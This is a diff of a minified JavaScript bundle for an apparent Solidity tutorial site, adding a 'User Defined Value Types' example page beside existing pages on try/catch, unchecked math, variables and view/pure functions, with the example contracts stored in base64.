 // Make sure EVM version and VM set to Cancun
@@ -12345,7 +12345,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         msg.sender.call(b);
     }
 }
-
                                              `,X2=({prev:s,next:a})=>r.jsx(A,{version:B2,title:G2,description:V2,html:Y2,prev:s,next:a,codes:f2}),R2="0.8.24",v2="Try Catch",N2="An example of try / catch in Solidity",H2=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvbyhtc2cuc2VuZGVyKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIHRyeSAvIGNhdGNoIHdpdGggZXh0ZXJuYWwgY2FsbAogICAgLy8gdHJ5Q2F0Y2hFeHRlcm5hbENhbGwoMCkgPT4gTG9nKCJleHRlcm5hbCBjYWxsIGZhaWxlZCIpCiAgICAvLyB0cnlDYXRjaEV4dGVybmFsQ2FsbCgxKSA9PiBMb2coIm15IGZ1bmMgd2FzIGNhbGxlZCIpCiAgICBmdW5jdGlvbiB0cnlDYXRjaEV4dGVybmFsQ2FsbCh1aW50MjU2IF9pKSBwdWJsaWMgewogICAgICAgIHRyeSBmb28ubXlGdW5jKF9pKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHJlc3VsdCkgewogICAgICAgICAgICBlbWl0IExvZyhyZXN1bHQpOwogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICBlbWl0IExvZygiZXh0ZXJuYWwgY2FsbCBmYWlsZWQiKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiB0cnkgLyBjYXRjaCB3aXRoIGNvbnRyYWN0IGNyZWF0aW9uCiAgICAvLyB0cnlDYXRjaE5ld0NvbnRyYWN0KDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgPT4gTG9nKCJpbnZhbGlkIGFkZHJlc3MiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEpID0+IExvZ0J5dGVzKCIiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDIpID0+IExvZygiRm9vIGNyZWF0ZWQiKQogICAgZnVuY3Rpb24gdHJ5Q2F0Y2hOZXdDb250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],F2=`

                                              try / catch can only catch errors from external function calls and contract creation.

                                              +`,Y2=({prev:s,next:a})=>r.jsx(A,{version:W2,title:B2,description:G2,html:f2,prev:s,next:a,codes:V2}),X2="0.8.24",v2="Try Catch",R2="An example of try / catch in Solidity",N2=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvbyhtc2cuc2VuZGVyKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIHRyeSAvIGNhdGNoIHdpdGggZXh0ZXJuYWwgY2FsbAogICAgLy8gdHJ5Q2F0Y2hFeHRlcm5hbENhbGwoMCkgPT4gTG9nKCJleHRlcm5hbCBjYWxsIGZhaWxlZCIpCiAgICAvLyB0cnlDYXRjaEV4dGVybmFsQ2FsbCgxKSA9PiBMb2coIm15IGZ1bmMgd2FzIGNhbGxlZCIpCiAgICBmdW5jdGlvbiB0cnlDYXRjaEV4dGVybmFsQ2FsbCh1aW50MjU2IF9pKSBwdWJsaWMgewogICAgICAgIHRyeSBmb28ubXlGdW5jKF9pKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHJlc3VsdCkgewogICAgICAgICAgICBlbWl0IExvZyhyZXN1bHQpOwogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICBlbWl0IExvZygiZXh0ZXJuYWwgY2FsbCBmYWlsZWQiKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiB0cnkgLyBjYXRjaCB3aXRoIGNvbnRyYWN0IGNyZWF0aW9uCiAgICAvLyB0cnlDYXRjaE5ld0NvbnRyYWN0KDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgPT4gTG9nKCJpbnZhbGlkIGFkZHJlc3MiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEpID0+IExvZ0J5dGVzKCIiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDIpID0+IExvZygiRm9vIGNyZWF0ZWQiKQogICAgZnVuY3Rpb24gdHJ5Q2F0Y2hOZXdDb250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],H2=`

                                              try / catch can only catch errors from external function calls and contract creation.

                                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -12404,7 +12404,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         }
     }
 }
-
                                              `,K2=({prev:s,next:a})=>r.jsx(A,{version:R2,title:v2,description:N2,html:F2,prev:s,next:a,codes:H2}),M2="0.8.24",S2="Unchecked Math",x2="An example of unchecked math in Solidity",J2=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],z2=`

                                              Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                                              +`,K2=({prev:s,next:a})=>r.jsx(A,{version:X2,title:v2,description:R2,html:H2,prev:s,next:a,codes:N2}),F2="0.8.24",M2="Unchecked Math",S2="An example of unchecked math in Solidity",x2=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],J2=`

                                              Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                                              Disabling overflow / underflow check saves gas.

                                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -12440,7 +12440,93 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         }
     }
 }
-
                                              `,D2=({prev:s,next:a})=>r.jsx(A,{version:M2,title:S2,description:x2,html:z2,prev:s,next:a,codes:J2}),E2="0.8.24",Q2="Variables",T2="Local, state and global variables",U2=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50MjU2IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQyNTYgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludDI1NiB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],_2=`

                                              There are 3 types of variables in Solidity

                                              +`,z2=({prev:s,next:a})=>r.jsx(A,{version:F2,title:M2,description:S2,html:J2,prev:s,next:a,codes:x2}),D2="0.8.24",E2="User Defined Value Types",Q2="User defined value types",T2=[{fileName:"UserDefinedValueTypes.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIENvZGUgY29waWVkIGZyb20gb3B0aW1pc20KLy8gaHR0cHM6Ly9naXRodWIuY29tL2V0aGVyZXVtLW9wdGltaXNtL29wdGltaXNtL2Jsb2IvZGV2ZWxvcC9wYWNrYWdlcy9jb250cmFjdHMtYmVkcm9jay9zcmMvZGlzcHV0ZS9saWIvTGliVURULnNvbAoKdHlwZSBEdXJhdGlvbiBpcyB1aW50NjQ7Cgp0eXBlIFRpbWVzdGFtcCBpcyB1aW50NjQ7Cgp0eXBlIENsb2NrIGlzIHVpbnQxMjg7CgpsaWJyYXJ5IExpYkNsb2NrIHsKICAgIGZ1bmN0aW9uIHdyYXAoRHVyYXRpb24gX2R1cmF0aW9uLCBUaW1lc3RhbXAgX3RpbWVzdGFtcCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChDbG9jayBjbG9ja18pCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBkYXRhIHwgRHVyYXRpb24gfCBUaW1lc3RhbXAKICAgICAgICAgICAgLy8gYml0ICB8IDAgLi4uIDYzIHwgNjQgLi4uIDEyNwogICAgICAgICAgICBjbG9ja18gOj0gb3Ioc2hsKDB4NDAsIF9kdXJhdGlvbiksIF90aW1lc3RhbXApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGR1cmF0aW9uKENsb2NrIF9jbG9jaykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChEdXJhdGlvbiBkdXJhdGlvbl8pCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBkdXJhdGlvbl8gOj0gc2hyKDB4NDAsIF9jbG9jaykKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGltZXN0YW1wKENsb2NrIF9jbG9jaykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChUaW1lc3RhbXAgdGltZXN0YW1wXykKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHRpbWVzdGFtcF8gOj0gc2hyKDB4QzAsIHNobCgweEMwLCBfY2xvY2spKQogICAgICAgIH0KICAgIH0KfQoKLy8gQ2xvY2sgbGlicmFyeSB3aXRob3V0IHVzZXIgZGVmaW5lZCB2YWx1ZSB0eXBlCmxpYnJhcnkgTGliQ2xvY2tCYXNpYyB7CiAgICBmdW5jdGlvbiB3cmFwKHVpbnQ2NCBfZHVyYXRpb24sIHVpbnQ2NCBfdGltZXN0YW1wKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQxMjggY2xvY2spCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBjbG9jayA6PSBvcihzaGwoMHg0MCwgX2R1cmF0aW9uKSwgX3RpbWVzdGFtcCkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEV4YW1wbGVzIHsKICAgIGZ1bmN0aW9uIGV4YW1wbGVfbm9fdXZkdCgpIGV4dGVybmFsIHsKICAgICAgICAvLyBXaXRob3V0IFVEVlQKICAgICAgICB1aW50MTI4IGNsb2NrOwogICAgICAgIHVpbnQ2NCBkID0gMTsKICAgICAgICB1aW50NjQgdCA9IHVpbnQ2NChibG9jay50aW1lc3RhbXApOwogICAgICAgIGNsb2NrID0gTGliQ2xvY2tCYXNpYy53cmFwKGQsIHQpOwogICAgICAgIC8vIE9vcHMhIHdyb25nIG9yZGVyIG9mIGlucHV0cyBidXQgc3RpbGwgY29tcGlsZXMKICAgICAgICBjbG9jayA9IExpYkNsb2NrQmFzaWMud3JhcCh0LCBkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFtcGxlX3V2ZHQoKSBleHRlcm5hbCB7CiAgICAgICAgLy8gVHVybiB2YWx1ZSB0eXBlIGludG8gdXNlciBkZWZpbmVkIHZhbHVlIHR5cGUKICAgICAgICBEdXJhdGlvbiBkID0gRHVyYXRpb24ud3JhcCgxKTsKICAgICAgICBUaW1lc3RhbXAgdCA9IFRpbWVzdGFtcC53cmFwKHVpbnQ2NChibG9jay50aW1lc3RhbXApKTsKICAgICAgICAvLyBUdXJuIHVzZXIgZGVmaW5lZCB2YWx1ZSB0eXBlIGJhY2sgaW50byBwcmltaXRpdmUgdmFsdWUgdHlwZQogICAgICAgIHVpbnQ2NCBkX3U2NCA9IER1cmF0aW9uLnVud3JhcChkKTsKICAgICAgICB1aW50NjQgdF91NTQgPSBUaW1lc3RhbXAudW53cmFwKHQpOwoKICAgICAgICAvLyBMaWJDbG9jayBleGFtcGxlCiAgICAgICAgQ2xvY2sgY2xvY2sgPSBDbG9jay53cmFwKDApOwogICAgICAgIGNsb2NrID0gTGliQ2xvY2sud3JhcChkLCB0KTsKICAgICAgICAvLyBPb3BzISB3cm9uZyBvcmRlciBvZiBpbnB1dHMKICAgICAgICAvLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKICAgICAgICAvLyBjbG9jayA9IExpYkNsb2NrLndyYXAodCwgZCk7CiAgICB9Cn0K"}],U2=`
                                              // SPDX-License-Identifier: MIT
+pragma solidity ^0.8.24;
+
+// Code copied from optimism
+// https://github.com/ethereum-optimism/optimism/blob/develop/packages/contracts-bedrock/src/dispute/lib/LibUDT.sol
+
+type Duration is uint64;
+
+type Timestamp is uint64;
+
+type Clock is uint128;
+
+library LibClock {
+    function wrap(Duration _duration, Timestamp _timestamp)
+        internal
+        pure
+        returns (Clock clock_)
+    {
+        assembly {
+            // data | Duration | Timestamp
+            // bit  | 0 ... 63 | 64 ... 127
+            clock_ := or(shl(0x40, _duration), _timestamp)
+        }
+    }
+
+    function duration(Clock _clock)
+        internal
+        pure
+        returns (Duration duration_)
+    {
+        assembly {
+            duration_ := shr(0x40, _clock)
+        }
+    }
+
+    function timestamp(Clock _clock)
+        internal
+        pure
+        returns (Timestamp timestamp_)
+    {
+        assembly {
+            timestamp_ := shr(0xC0, shl(0xC0, _clock))
+        }
+    }
+}
+
+// Clock library without user defined value type
+library LibClockBasic {
+    function wrap(uint64 _duration, uint64 _timestamp)
+        internal
+        pure
+        returns (uint128 clock)
+    {
+        assembly {
+            clock := or(shl(0x40, _duration), _timestamp)
+        }
+    }
+}
+
+contract Examples {
+    function example_no_uvdt() external {
+        // Without UDVT
+        uint128 clock;
+        uint64 d = 1;
+        uint64 t = uint64(block.timestamp);
+        clock = LibClockBasic.wrap(d, t);
+        // Oops! wrong order of inputs but still compiles
+        clock = LibClockBasic.wrap(t, d);
+    }
+
+    function example_uvdt() external {
+        // Turn value type into user defined value type
+        Duration d = Duration.wrap(1);
+        Timestamp t = Timestamp.wrap(uint64(block.timestamp));
+        // Turn user defined value type back into primitive value type
+        uint64 d_u64 = Duration.unwrap(d);
+        uint64 t_u54 = Timestamp.unwrap(t);
+
+        // LibClock example
+        Clock clock = Clock.wrap(0);
+        clock = LibClock.wrap(d, t);
+        // Oops! wrong order of inputs
+        // This will not compile
+        // clock = LibClock.wrap(t, d);
+    }
+}
+
                                              `,_2=({prev:s,next:a})=>r.jsx(A,{version:D2,title:E2,description:Q2,html:U2,prev:s,next:a,codes:T2}),L2="0.8.24",O2="Variables",P2="Local, state and global variables",$2=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50MjU2IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQyNTYgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludDI1NiB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],q2=`

                                              There are 3 types of variables in Solidity

                                              • local
                                                • declared inside a function
                                                  • @@ -12471,7 +12557,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller address sender = msg.sender; // address of the caller } } -`,L2=({prev:s,next:a})=>r.jsx(A,{version:E2,title:Q2,description:T2,html:_2,prev:s,next:a,codes:U2}),O2="0.8.24",P2="View and Pure Functions",$2="An example of view and pure functions in Solidity",q2=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQyNTYgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludDI1NiB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgaSwgdWludDI1NiBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],sB=`

                                                  Getter functions can be declared view or pure.

                                                  +`,sB=({prev:s,next:a})=>r.jsx(A,{version:L2,title:O2,description:P2,html:q2,prev:s,next:a,codes:$2}),aB="0.8.24",nB="View and Pure Functions",lB="An example of view and pure functions in Solidity",pB=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQyNTYgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludDI1NiB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgaSwgdWludDI1NiBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],eB=`

                                                  Getter functions can be declared view or pure.

                                                  View function declares that no state will be changed.

                                                  Pure function declares that no state variable will be changed or read.

                                                  // SPDX-License-Identifier: MIT
@@ -12490,7 +12576,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         return i + j;
     }
 }
-
                                                  `,aB=({prev:s,next:a})=>r.jsx(A,{version:O2,title:P2,description:$2,html:sB,prev:s,next:a,codes:q2}),nB="0.8.24",lB="Visibility",pB="An example of external, internal, private and public functions in 